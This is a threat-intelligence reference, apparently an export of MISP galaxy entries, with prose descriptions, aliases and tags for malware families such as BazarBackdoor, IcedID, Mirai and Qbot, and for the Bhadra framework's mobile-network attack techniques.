Something that made the brute-force attacks on RDP connections easier was a new module of the notorious Trojan, TrickBot. It now seems that the TrickBot developers have a new tactic. Cybersecurity researchers have discovered a new phishing campaign that delivers a stealthy backdoor called BazarBackdoor, which can be used to compromise and gain full access to corporate networks. As is the case with 91% of cyberattacks, this one starts with a phishing email. A range of
subjects are used to personalize the emails: Customer complaints, coronavirus-themed payroll reports, or employee termination lists. All these emails contain links to documents hosted on Google Docs. To send the malicious emails, the cybercriminals use the marketing platform Sendgrid. This campaign uses spear phishing, which means that the perpetrators have made an effort to ensure that the websites sent in the emails seem legitimate and correspond to the emails subjects.

The tag is: \textit{misp-galaxy:backdoor=\textit{BazarBackdoor}}

BazarBackdoor is also known as:

- BEERBOT
- KEGTAP
- Team9Backdoor
- bazaloader
- bazarloader
- bazaarloader

**IcedID**

According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.

The tag is: *misp-galaxy:banker="IcedID"*

IcedID is also known as:

- BokBot

View relationships graph

IcedID has relationships with:

- similar: misp-galaxy:malpedia="IcedID" with estimative-language:likelihood-probability="likely"
GratefulPOS

GratefulPOS has the following functions:
1. Access arbitrary processes on the target POS system
2. Scrape track 1 and 2 payment card data from the process(es)
3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.

The tag is: `misp-galaxy:banker="GratefulPOS"`

Dok

A macOS banking trojan that redirects an infected user's web traffic in order to extract banking credentials.

The tag is: `misp-galaxy:banker="Dok"`
**downAndExec**

Services like Netflix use content delivery networks (CDNs) to maximize bandwidth usage as it gives users greater speed when viewing the content, as the server is close to them and is part of the Netflix CDN. This results in faster loading times for series and movies, wherever you are in the world. But, apparently, the CDNs are starting to become a new way of spreading malware. The attack chain is very extensive, and incorporates the execution of remote scripts (similar in some respects to the recent “fileless” banking malware trend), plus the use of CDNs for command and control (C&C), and other standard techniques for the execution and protection of malware.

**Smominru**

Since the end of May 2017, we have been monitoring a Monero miner that spreads using the EternalBlue Exploit (CVE-2017-0144). The miner itself, known as Smominru (aka Ismo) has been well-documented, so we will not discuss its post-infection behavior. However, the miner’s use of Windows Management Infrastructure is unusual among coin mining malware. The speed at which mining operations conduct mathematical operations to unlock new units of cryptocurrency is referred to as “hash power”. Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz. The operators had already mined approximately 8,900 Monero (valued this week between $2.8M and $3.6M). Each day, the botnet mined roughly 24 Monero, worth an average of $8,500 this week.

Attacks from UE

"Attacks from UE" refers to any technique that involves the attacks launched by the software or hardware components of the user equipment to send malicious traffic into the mobile network.

The tag is: misp-galaxy:bhadra-framework="Attacks from UE"

SIM-based attacks

The "SIM-based attacks" are the techniques that involve any physical smart cards, namely SIM from 2G, USIM from 3G, and UICC from 4G networks.

The tag is: misp-galaxy:bhadra-framework="SIM-based attacks"

Attacks from radio access network

The "attacks from radio access network" are the techniques where an adversary with radio capabilities impersonates the mobile network to the UE (or vice versa) and becomes a man-in-the-middle.

The tag is: misp-galaxy:bhadra-framework="Attacks from radio access network"

Attacks from other mobile network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes.
Attacks with access to transport network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes.

Attacks from IP-based network

The "attacks from IP-based attacks" techniques mostly are launched from the service and application network, which allows non operator entities to infuse malicious traffic into an operator's network.

Insider attacks and human errors

The "insider attacks and human errors" technique involve the intentional attacks and unintentional mistakes from human insiders with access to any component of the mobile communication ecosystem.

Infected UE hardware or software

Retaining the foothold gained on the target system through the initial access by infecting UE hardware or software.

Infected SIM cards

Retaining the foothold gained on the target system through the initial access by infecting SIM cards.

Spoofed radio network

Retaining the foothold gained on the target system through the initial access by radio network spoofing.
Infecting network nodes
Retaining the foothold gained on the target system through the initial access by infecting network nodes.

The tag is: misp-galaxy:bhadra-framework="Infecting network nodes"

Covert channels
Retaining the foothold gained on the target system through the initial access via covert channels.

The tag is: misp-galaxy:bhadra-framework="Covert channels"

Port scanning or sweeping
"Port scanning or sweeping" techniques to probe servers or hosts with open ports.

The tag is: misp-galaxy:bhadra-framework="Port scanning or sweeping"

Perimeter mapping
"perimeter mapping" techniques such as command-line utilities (e.g., nmap and whois), web-based lookup tools and official APIs provided by the Internet registrars that assign the ASNs using a wide range of publicly available sources.

The tag is: misp-galaxy:bhadra-framework="Perimeter mapping"

Threat intelligence gathering
"Threat intelligence gathering" using dedicated search engines (such as Censys, Shodan) to gather information about vulnerable devices or networks, or using advanced search options of traditional search engines.

The tag is: misp-galaxy:bhadra-framework="Threat intelligence gathering"

CN-specific scanning
"CN-specific scanning", used to scan nodes that are interconnected with protocols specific to the mobile communication domain (GTP, SCTP).

The tag is: misp-galaxy:bhadra-framework="CN-specific scanning"

Internal resource search
"Internal resource search" refers to an insider with access to provider internal databases abusing the information as a discovery tactic.
The tag is: misp-galaxy:bhadra-framework="Internal resource search"

**UE knocking**

"UE knocking" refers to the technique that scans User Equipment, similarly to how IP endpoints and core network nodes are scanned or mapped.

The tag is: misp-galaxy:bhadra-framework="UE knocking"

**Exploit roaming agreements**

"Exploit roaming agreements" is a technique exploited by evil mobile operators. Despite communication with operators is dependent on a roaming agreement being in place, an attacker that has gained a foothold with one operator, it can abuse the roaming agreements in place for lateral movement with all adjacent operators with agreements in place.

The tag is: misp-galaxy:bhadra-framework="Exploit roaming agreements"

**Abusing interworking functionalities**

"Abusing Inter-working functionalities" is a technique for adversaries to move between networks of different generations laterally

The tag is: misp-galaxy:bhadra-framework="Abusing interworking functionalities"

**Exploit platform & service-specific vulnerabilities**

Once an attacker has gained a foothold in an operator, it can conduct privilege escalation and process injection for gaining administrative rights, password cracking of valid user accounts on the nodes, exploit vulnerabilities in databases and file systems, and take advantage of improper configurations of routers and switches.

The tag is: misp-galaxy:bhadra-framework="Exploit platform & service-specific vulnerabilities"

**SS7-based-attacks**

Attacks abusing the SS7 protocol.

The tag is: misp-galaxy:bhadra-framework="SS7-based-attacks"

**Diameter-based attacks**

Attacks abusing the Diameter protocol.

The tag is: misp-galaxy:bhadra-framework="Diameter-based attacks"
GTP-based attacks

Attacks abusing the GTP protocol.

The tag is: misp-galaxy:bhadra-framework="GTP-based attacks"

DNS-based attacks

DNS based attacks.

The tag is: misp-galaxy:bhadra-framework="DNS-based attacks"

Pre-AKA attacks

Attack techniques that take place during the unencrypted communication that occurs prior to the AKA protocol.

The tag is: misp-galaxy:bhadra-framework="Pre-AKA attacks"

Security audit camouflage

The operating systems, software, and services used on the network nodes are prone to security vulnerabilities and installation of unwanted malware. Although operators conduct routine security audits to track and patch the vulnerabilities or remove the malware from the infected nodes, their effectiveness is not known to the public. Any means by which an adversary can remain undetected from such audits are referred to as the security audit camouflage technique.

The tag is: misp-galaxy:bhadra-framework="Security audit camouflage"

Blacklist evasion

Mobile operators employ several defenses in terms of securing their network traffic. For instance, operators maintain a whitelist of IPs and GTs of nodes from their own infrastructure and their partner operators (as agreed in IR 21), and traffic from only these nodes are processed. Similarly, a blacklist is also maintained to control spam due to configuration errors and malicious traffic. Anything from the blacklist is banned from entering the operator's network. Such defense mechanisms may defend against unsolicited traffic from external networks (e.g., from the public Internet and SAN), but it barely serves its purpose in the case of attacks from inter-operator communications. Since most of the communication protocols are unauthenticated in nature, an attacker with knowledge of identifiers of the allowed nodes (i.e. gained during the discovery phase) can impersonate their identity. We call it the blacklist evasion technique.

The tag is: misp-galaxy:bhadra-framework="Blacklist evasion"

Middlebox misconfiguration exploits

NAT middleboxes are used for separating private networks of mobile operators from public

Internet works as the second line of defense. However, studies have shown that the middleboxes deployed by operators are prone to misconfigurations that allow adversaries to infiltrate malicious traffic into mobile networks e.g., by spoofing the IP headers. Some of the other NAT vulnerabilities lie in IPv4-to-IPv6 address mapping logic, which can be exploited by adversaries to exhaust the resources, wipe out the mapping, or to assist with blacklist evasion. Adversaries use such middlebox misconfiguration exploit techniques to launch denial-of-service or over-billing attacks. The tag is: *misp-galaxy:bhadra-framework="Middlebox misconfiguration exploits"

**Bypass Firewall**

Adversaries (e.g., evil operators) can for example exploit the implicit trust between roaming partners as a bypass firewall technique.

The tag is: *misp-galaxy:bhadra-framework="Bypass Firewall"

**Bypass homerouting**

SMS home routing is a defense mechanism, where an additional SMS router intervenes in external location queries for SMS deliveries, and the roaming network takes the responsibility of delivering the SMS without providing location information to the external entity. Although many operators have implemented SMS home routing solutions, there are no silver bullets. If the SMS routers are incorrectly configured, adversaries can hide SMS delivery location queries within other messages so that the SMS home router fails to process them. We refer to it as the bypass home routing technique.

The tag is: *misp-galaxy:bhadra-framework="Bypass homerouting"

**Downgrading**

Attacks on the radio access networks are well-studied and newer generations are designed to address the weaknesses in previous generations. Usage of weak cryptographic primitives, lack of integrity protection of the radio channels, and one-sided authentication (only from the network) remain as the problem of mostly GSM only radio communication. So, radio link attackers use downgrading as an attack technique to block service over newer generations and accept to serve only in the GSM radio network. The downgrading technique works similarly in the core network, where the adversary accepts to serve only in SS7-based signaling instead of Diameter-based signaling. Using interworking functions for inter-generation communication translation could make the downgrading attacks much easier.

The tag is: *misp-galaxy:bhadra-framework="Downgrading"

**Redirection**

Redirection technique is a variant of the downgrading technique, where an adversary forcefully routes the traffic through networks or components that are under its control. By redirecting traffic to an unsafe network, the adversary can intercept mobile communication (e.g., calls and SMS) on...
the RAN part. Redirection attacks on the core network result in not only communication interception, but also in billing discrepancies, as an adversary can route the calls of a mobile user from its home network through a foreign network on a higher call rate.

The tag is: *misp-galaxy:bhadra-framework="Redirection"*

### UE Protection evasion

Protection on the UE is mainly available in the form of antivirus apps as a defense against viruses and malware that steals sensitive information (e.g., banking credentials and user passwords) or track user activities. Simple visual cues on UE (such as notifications) could also be a protection mechanism by itself. Unfortunately, mobile network-based attacks cannot be detected or defended effectively from UE’s side by traditional antivirus apps, and such attacks do not trigger any visual signs. Although there are attempts for defending against radio link attacks, including citywide studies to detect IMSI catchers, their effectiveness is still under debate. Similarly, there are recent attempts to detect signaling attacks using distance bounding protocol run from a UE. However, such solutions are still in the research phase, and their effectiveness on a large scale is still untested. To this end, the absence of robust detection and defense mechanisms on the UE is, in fact, an evasion mechanism for an adversary. We refer to them as UE protection evasion techniques.

The tag is: *misp-galaxy:bhadra-framework="UE Protection evasion"*

### Admin credentials

Stealing legitimate admin credentials for critical nodes is beneficial for the adversary to increase its chances of persistence to the target or masquerade its activities.

The tag is: *misp-galaxy:bhadra-framework="Admin credentials"*

### User-specific identifiers

User-specific identifiers such as IMSI and IMEI are an indicator for who owns UE with a specific subscription and where a UE is located physically. Since mobile users always keep their mobile phones physically near them, an adversary with the knowledge of these permanent identifiers will be able to determine whether or not a user is in a specific location. On the other hand, temporary identifiers (e.g., TMSI and GUTI) are used to reduce the usage of permanent identifiers like IMSI over radio channels. Although the temporary identifiers are supposed to change frequently and expected to live for a short period, research has shown that it is not the case.

The tag is: *misp-galaxy:bhadra-framework="User-specific identifiers"*

### User-specific data

Adversaries can collect several types of user-specific data, such as the content of SMS and calls, location dumps from base stations, call and billing records, and browsing-related data (such as DNS queries and unencrypted browsing sessions).

The tag is: *misp-galaxy:bhadra-framework="User-specific data"*
Network-specific identifiers

Adversaries aim to collect network-specific identifiers such as GTs and IPs of critical nodes and Tunnel Endpoint Identifier (TEID) of GTP tunnels from operators' networks.

The tag is: misp-galaxy:bhadra-framework="Network-specific identifiers"

Network-specific data

Adversaries may also be interested in network-specific data that are obtained mainly during the execution of discovery tactics. Such data includes, e.g., the network topology, the trust relationship between different nodes, routing metadata, and sensitive documents.

The tag is: misp-galaxy:bhadra-framework="Network-specific data"

Location tracking

Attacker is able to track the location of the target end-user.

The tag is: misp-galaxy:bhadra-framework="Location tracking"

Calls eavesdropping

Attacker is able to eavesdrop on calls.

The tag is: misp-galaxy:bhadra-framework="Calls eavesdropping"

SMS interception

Attacker is able to intercept SMS messages.

The tag is: misp-galaxy:bhadra-framework="SMS interception"

Data interception

Attacker is able to intercept or modify internet traffic.

The tag is: misp-galaxy:bhadra-framework="Data interception"

Billing frauds

Billing frauds refer to various types of attacks where an adversary causes financial discrepancies for operators.

The tag is: misp-galaxy:bhadra-framework="Billing frauds"
**DoS - network**

The attacker can create signaling havoc in specific nodes of operators by repeatedly triggering resource allocation or revocation requests.

The tag is: `misp-galaxy:bhadra-framework="DoS - network"`

**DoS - user**

The attacker can cause denial of service to mobile users.

The tag is: `misp-galaxy:bhadra-framework="DoS - user"`

**Identity-related attacks**

Identity-based attacks involve attack techniques using user and network-specific identifiers. Identity-based attacks cause harm to the privacy of mobile users and produce fraudulent traffic that incurs a financial loss to operators. In most cases, identity-based attacks are used in impersonation, where an adversary impersonates a legitimate mobile user to the core network without possessing appropriate credentials, for example, to avail free mobile services. Most of the signaling attacks that use SS7 are also fall into this category. In other cases, identity-based attacks involve identity mapping, where the adversaries map temporary identifiers (e.g., TMSI and GUTI) to permanent identifiers (e.g., IMSI or MSISDN). In rare cases, the IMSI can further be mapped to social media identities.

The tag is: `misp-galaxy:bhadra-framework="Identity-related attacks"`

**Botnet**

Botnet is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

Various

**ADB.miner**

A new botnet appeared over the weekend, and it's targeting Android devices by scanning for open debug ports so it can infect victims with malware that mines the Monero cryptocurrency.

The botnet came to life on Saturday, February 3, and is targeting port 5555, which on devices running the Android OS is the port used by the operating system's native Android Debug Bridge (ADB), a debugging interface that grants access to some of the operating system's most sensitive features.
Only devices running the Android OS have been infected until now, such as smartphones, smart TVs, and TV top boxes, according to security researchers from Qihoo 360’s Network Security Research Lab [Netlab] division, the ones who discovered the botnet, which the named ADB.miner.

Storm

The Storm botnet or Storm worm botnet (also known as Dorf botnet and Ecard malware) is a remotely controlled network of "zombie" computers (or "botnet") that have been linked by the Storm Worm, a Trojan horse spread through e-mail spam. At its height in September 2007, the Storm botnet was running on anywhere from 1 million to 50 million computer systems, and accounted for 8% of all malware on Microsoft Windows computers. It was first identified around January 2007, having been distributed by email with subjects such as "230 dead as storm batters Europe," giving it its well-known name. The botnet began to decline in late 2007, and by mid-2008, had been reduced to infecting about 85,000 computers, far less than it had infected a year earlier.

Sality

Sality is the classification for a family of malicious software (malware), which infects files on Microsoft Windows systems. Sality was first discovered in 2003 and has advanced over the years to become a dynamic, enduring and full-featured form of malicious code. Systems infected with Sality may communicate over a peer-to-peer (P2P) network for the purpose of relaying spam, proxying of communications, exfiltrating sensitive data, compromising web servers and/or coordinating distributed computing tasks for the purpose of processing intensive tasks (e.g. password cracking). Since 2010, certain variants of Sality have also incorporated the use of rootkit functions as part of an ongoing evolution of the malware family. Because of its continued development and capabilities, Sality is considered to be one of the most complex and formidable forms of malware to date.

The tag is: `misp-galaxy:botnet="Sality"`

Sality is also known as:

Mariposa

The Mariposa botnet, discovered December 2008, is a botnet mainly involved in cyberscamming and denial-of-service attacks. Before the botnet itself was dismantled on 23 December 2009, it consisted of up to 12 million unique IP addresses or up to 1 million individual zombie computers infected with the "Butterfly (mariposa in Spanish) Bot", making it one of the largest known botnets.

The tag is: `misp-galaxy:botnet="Mariposa"`

Conficker

Conficker, also known as Downup, Downadup and Kido, is a computer worm targeting the Microsoft Windows operating system that was first detected in November 2008. It uses flaws in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet, and has been unusually difficult to counter because of its combined use of many advanced malware techniques. The Conficker worm infected millions of computers including government, business and home computers in over 190 countries, making it the largest known computer worm infection since the 2003 Welchia.

Waledac

Waledac, also known by its aliases Waled and Waledpak, was a botnet mostly involved in e-mail spam and malware. In March 2010 the botnet was taken down by Microsoft.

The tag is: `misp-galaxy:botnet="Waledac"`

Waledac is also known as:

- Waled
- Waledpak

Maazben

A new botnet, dubbed Maazben, has also been observed and is also growing rapidly. MessageLabs Intelligence has been tracking the growth of Maazben since its infancy in late May and early June. Its dominance in terms of the proportion of spam has been accelerating in the last 30 days from just over 0.5% of all spam, peaking at 4.5% of spam when it is most active. Currently spam from Maazben accounts for approximately 1.4% of all spam, but this is likely to increase significantly over time, particularly since both overall spam per minute sent and spam per bot per minute are increasing.

The tag is: `misp-galaxy:botnet="Maazben"`

Onewordsub

The tag is: `misp-galaxy:botnet="Onewordsub"`
Gheg

Tofsee, also known as Gheg, is another botnet analyzed by CERT Polska. Its main job is to send spam, but it is able to do other tasks as well. It is possible thanks to the modular design of this malware – it consists of the main binary (the one user downloads and infects with), which later downloads several additional modules from the C2 server – they modify code by overwriting some of the called functions with their own. An example of some actions these modules perform is spreading by posting click-bait messages on Facebook and VKontakte (Russian social network).

The tag is: misp-galaxy:botnet="Gheg"

Gheg is also known as:

• Tofsee
• Mondera

Gheg has relationships with:

• similar: misp-galaxy:malpedia="Tofsee" with estimative-language:likelihood-probability="likely"

**TDL4**

Alureon (also known as TDSS or TDL-4) is a trojan and bootkit created to steal data by intercepting a system's network traffic and searching for: banking usernames and passwords, credit card data, PayPal information, social security numbers, and other sensitive user data. Following a series of customer complaints, Microsoft determined that Alureon caused a wave of BSoDs on some 32-bit Microsoft Windows systems. The update, MS10-015, triggered these crashes by breaking assumptions made by the malware author(s).

The tag is: `misp-galaxy:botnet="TDL4"`

TDL4 is also known as:

- TDSS
- Alureon
Zeus

Zeus, ZeuS, or Zbot is a Trojan horse malware package that runs on versions of Microsoft Windows. While it can be used to carry out many malicious and criminal tasks, it is often used to steal banking information by man-in-the-browser keystroke logging and form grabbing. It is also used to install the CryptoLocker ransomware. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009 security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek. Similarly to Koobface, Zeus has also been used to trick victims of tech support scams into giving the scam artists money through pop-up messages that claim the user has a virus, when in reality they might have no viruses at all. The scammers may use programs such as Command prompt or Event viewer to make the user believe that their computer is infected.

Chameleon

The Chameleon botnet is a botnet that was discovered on February 28, 2013 by the security research firm, spider.io. It involved the infection of more than 120,000 computers and generated, on average, 6 million US dollars per month from advertising traffic. This traffic was generated on infected systems and looked to advertising parties as regular end users which browsed the Web, because of which it was seen as legitimate web traffic. The affected computers were all Windows PCs with the majority being private PCs (residential systems).

Mirai

Mirai (Japanese for "the future", [未来]) is a malware that turns networked devices running Linux into remotely controlled "bots" that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers. The Mirai botnet was first found in August 2016 by MalwareMustDie, a whitehat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack.

XorDDoS

XOR DDOS is a Linux trojan used to perform large-scale DDoS

The tag is: `misp-galaxy:botnet="XorDDoS"`

Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants. Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot. The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869. Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: `misp-galaxy:botnet="Satori"`

Hajime

Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown. It is worth mentioning that in the past, the Hajime IoT botnet was never used for massive DDoS attacks, and its existence was a mystery for many researchers, as the botnet only gathered infected devices but almost never did anything with them (except scan for other vulnerable devices).

The tag is: `misp-galaxy:botnet="Hajime"`

</tbody>
</table>

Muhstik

The botnet is exploiting the CVE-2018-7600 vulnerability —also known as Drupalggeddon 2— to access a specific URL and gain the ability to execute commands on a server running the Drupal CMS. At the technical level, Netlab says Muhstik is built on top of Tsunami, a very old strain of...
malware that has been used for years to create botnets by infecting Linux servers and smart devices running Linux-based firmware. Crooks have used Tsunami initially for DDoS attacks, but its feature-set has greatly expanded after its source code leaked online. The Muhstik version of Tsunami, according to a Netlab report published today, can launch DDoS attacks, install the XMRig Monero miner, or install the CGMiner to mine Dash cryptocurrency on infected hosts. Muhstik operators are using these three payloads to make money via the infected hosts.

The tag is: misp-galaxy:botnet="Muhstik"

### Hide and Seek

Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise. This is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device. The reset operation flushed the device’s flash memory, where the device would keep all its working data, including IoT malware strains. But today, Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to /etc/init.d/, a folder that houses daemon scripts on Linux-based operating systems —like the ones on routers and IoT devices. By placing itself in this menu, the device’s OS will automatically start the malware’s process after the next reboot.

The tag is: misp-galaxy:botnet="Hide and Seek"

Hide and Seek is also known as:

- HNS
- Hide 'N Seek

Torii

We have been observing a new malware strain, which we call Torii, that differs from Mirai and other botnets we know of, particularly in the advanced techniques it uses. The developers of the botnet seek wide coverage and for this purpose they created binaries for multiple CPU architectures, tailoring the malware for stealth and persistence.

The tag is: `misp-galaxy:botnet="Torii"`
Persirai

A new Internet of Things (IoT) botnet called Persirai (Detected by Trend Micro as ELF_PERSIRAI.A) has been discovered targeting over 1,000 Internet Protocol (IP) Camera models based on various Original Equipment Manufacturer (OEM) products. This development comes on the heels of Mirai—an open-source backdoor malware that caused some of the most notable incidents of 2016 via Distributed Denial-of-Service (DDoS) attacks that compromised IoT devices such as Digital Video Recorders (DVRs) and CCTV cameras—as well as the Hajime botnet.

The tag is: `misp-galaxy:botnet="Persirai"`

Chalubo

Since early September, SophosLabs has been monitoring an increasingly prolific attack targeting Internet-facing SSH servers on Linux-based systems that has been dropping a newly-discovered family of denial-of-service bots we’re calling Chalubo. The attackers encrypt both the main bot component and its corresponding Lua script using the ChaCha stream cipher. This adoption of anti-analysis techniques demonstrates an evolution in Linux malware, as the authors have adopted principles more common to Windows malware in an effort to thwart detection. Like some of its predecessors, Chalubo incorporates code from the Xor.DDoS and Mirai malware families.

The tag is: `misp-galaxy:botnet="Chalubo"`
AESDDoS

Our honeypot sensors recently detected an AESDDoS botnet malware variant (detected by Trend Micro as Backdoor.Linux.AESDDOS.J) exploiting a server-side template injection vulnerability (CVE-2019-3396) in the Widget Connector macro in Atlassian Confluence Server, a collaboration software program used by DevOps professionals.

The tag is: misp-galaxy:botnet="AESDDoS"

Arceus

EnemyBot

In mid-March [2022], FortiGuard Labs observed a new DDoS botnet calling itself “Enemybot” and attributing itself to Keksec, a threat group that specializes in cryptomining and DDoS attacks.

This botnet is mainly derived from Gafgyt's source code but has been observed to borrow several modules from Mirai's original source code.

It uses several methods of obfuscation for its strings to hinder analysis and hide itself from other botnets. Furthermore, it connects to a command-and-control (C2) server that is hidden in the Tor network, making its takedown more complicated.
Enemybot has been seen targeting routers from Seowon Intech, D-Link, and exploits a recently reported iRZ router vulnerability to infect more devices.

**Qbot**

Discovered in 2008 and under constant development, with gaps in operational use in the wild; operators are occasionally known as GOLD LAGOON. Banking Trojan, steals financial data, browser information/hooks, keystrokes, credentials; described by CheckPoint as a “Swiss Army knife”. Known to leverage many other tools; for example, PowerShell and Mimikatz are used for self-propagation. Attempts obfuscation via legitimate process injection. Known to serve as a dropper for ProLock ransomware. Infection vectors are common, with malspam as the most frequent. Active in 2020 – two big campaigns, one from March to June, second Starting in July and ongoing, as part of latest Emotet campaign. Newer version appeared in August.

### HinataBot

Akamai researchers on the Security Intelligence Response Team (SIRT) have discovered a new Go-based, DDoS-focused botnet. The malware appears to have been named “Hinata” by the malware author after a character from the popular anime series, Naruto. We are calling it “HinataBot.” Looks like an attempt to rewrite Mirai in Go. The threat actors behind HinataBot originally distributed Mirai binaries.

The tag is: `misp-galaxy:botnet="HinataBot"`

### 3ve

3ve, pronounced as “Eve”, was a botnet that was halted in late 2018. 3ve utilized the malware packages Boaxxe and Kovter to infect a network of PCs. They were spread through emails and fake downloads, and once infected, the bots would generate fake clicks on online advertisements. The clicks would be used on fake websites, which hosted ads and then absorbed the ad revenue from the false impressions. Bots were able to mimic desktop and mobile traffic in order to evade detection, and went through several evolutions of tactics to grow over time. At its peak, the botnet controlled more than one million residential and corporate IP-addresses, largely within Europe and North America.

The tag is: `misp-galaxy:botnet="3ve"`

### 7777-Botnet

7777-Botnet has been observed brute forcing Microsoft Azure instances via Microsoft Azure PowerShell bruteforcing. The botnet has a unique pattern of opening port 7777 on infected devices, returning an “xlogin:” message. The botnet has been used for low-volume attacks against targets of all industry sectors at a global scale, almost exclusively targeting C-Level employee logins. Due to the very low volume of around 2–3 login requests per week, the botnet is able to evade most security solutions.
Amadey

Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called tasks) for all or specifically targeted computers compromised by the malware.

AndroidBauts

AndroidBauts botnet is a network of infected Android devices that are used for promoting advertisements to users online. At one point, the number of infected devices was more than 550,000. The creators of the AndroidBauts botnet are able to gather data regarding the compromised devices - both software and hardware.

Andromeda

Andromeda botnet, also known as Gamarue or Wauchos, was first introduced to the public in 2011. During this time it was used to distribute large quantities of malware. According to Microsoft the Andromeda botnet was used to spread more than 80 malware families including ransomware, worms, and more. Andromeda is a modular malware, meaning additional components can be purchased to provide extra functionality.
Andromeda is also known as:

- Gamarue
- Wauchos

**Avalanche**

Avalanche refers to a large global network hosting infrastructure used by cyber criminals to conduct phishing and malware distribution campaigns and money mule schemes. It is a set of computer programs to conduct a DDoS attack. It is believed that trinoo networks have been set up on thousands of systems on the Internet that have been compromised by remote buffer overrun exploits. Cyber criminals utilized Avalanche botnet infrastructure to host and distribute a variety of malware variants to victims, including the targeting of over 40 major financial institutions. Victims may have had their sensitive personal information stolen (e.g., user account credentials). Victims’ compromised systems may also have been used to conduct other malicious activity, such as launching denial-of-service (DoS) attacks or distributing malware variants to other victims’ computers. In addition, Avalanche infrastructure was used to run money mule schemes where criminals recruited people to commit fraud involving transporting and laundering stolen money or merchandise. Avalanche used fast-flux DNS, a technique to hide the criminal servers, behind a constantly changing network of compromised systems acting as proxies.

The tag is: `misp-galaxy:botnet=“Avalanche“`
**Bayrob**

Bayrob evolved from a backdoor trojan used for fraud into a cryptocurrency miner. Symantec discovered multiple versions of Bayrob malware, and witnessed Bayrob as it morphed from online fraud to a 300,000+ botnet for cryptocurrency mining.

Cooee

Cooee is a trojan pre-installed on some Phillips smartphones that displays annoying advertisements and downloads and installs different software without user knowledge.
**Coreflood**

Coreflood is a trojan horse and botnet created by a group of Russian hackers and released in 2010. The FBI included on its list of infected systems approximately 17 state or local government agencies, including one police department; three airports; two defense contractors; five banks or financial institutions; approximately 30 colleges or universities; approximately 20 hospital or health care companies; and hundreds of businesses. It is present on more than 2.3 million computers worldwide and as of May 2011 remains a threat.

**Crackonosh**

In 2021 Crackonosh has been found in 222,000 compromised computers that were used to download illegal, torrented versions of popular video games. Crackonosh successfully operated for years because it had built-in mechanisms to disable security software and updates, which made it difficult for users to detect and remove the program. The malware is thought to have originated in the Czech Republic, but it had a global reach.

**FluBot**

FluBot is a remote control and info stealer malware. It has abilities to read and send SMS message, delete app, and execute arbitrary commands. It is often distributed through SMS messages. PRODAFT describes FluBot as a banking malware which originally targeted Spain. Since the first quarter of 2021 it has been targeting many other European countries as well as Japan. It uses a DGA for it's C&C and relies on both DNS and DNS-over-HTTPS for name resolution. Despite arrests of multiple people suspected of involvement with this malware in March of 2021, the campaign has only intensified since.
The tag is: misp-galaxy:botnet="FluBot"

FluBot is also known as:

- Cabassous
- FakeChat

### Great Cannon

The Great Cannon of China is an Internet attack tool that is used by the Chinese government to launch distributed denial-of-service attacks on websites by performing a man-in-the-middle attack on large amounts of web traffic and injecting code which causes the end-user’s web browsers to flood traffic to targeted websites.[1] According to the researchers at the Citizen Lab, the
International Computer Science Institute, and Princeton University's Center for Information Technology Policy, who coined the term, the Great Cannon hijacks foreign web traffic intended for Chinese websites and re-purposes them to flood targeted web servers with enormous amounts of traffic in an attempt to disrupt their operations.

**Hail Mary Cloud**

The Hail Mary Cloud was, or is, a password guessing botnet, which used a statistical equivalent to brute force password guessing. The botnet ran from possibly as early as 2005, and certainly from 2007 until 2012 and possibly later. The botnet was named and documented by Peter N. M. Hansteen. The principle is that a botnet can try several thousands of more likely passwords against thousands of hosts, rather than millions of passwords against one host. Since the attacks were widely distributed, the frequency on a given server was low and was unlikely to trigger alarms. Moreover, the attacks come from different members of the botnet, thus decreasing the effectiveness of both IP based detection and blocking.

**Joker**

Joker is a trojan that is included in several unsuspecting apps that have been offered via the Google Play Store, among others. The malware silently interacts with ad networks to perform clicks on ad banners and subscribe to paid premium services. To do this, Joker is able to read SMS messages, contact lists and device information from the victim system. It collects data from infected systems, intercepts sensitive communications and transmits the information to a remote attacker.

The tag is: `misp-galaxy:botnet="Joker"`

Table 787. Table References

<table>
<thead>
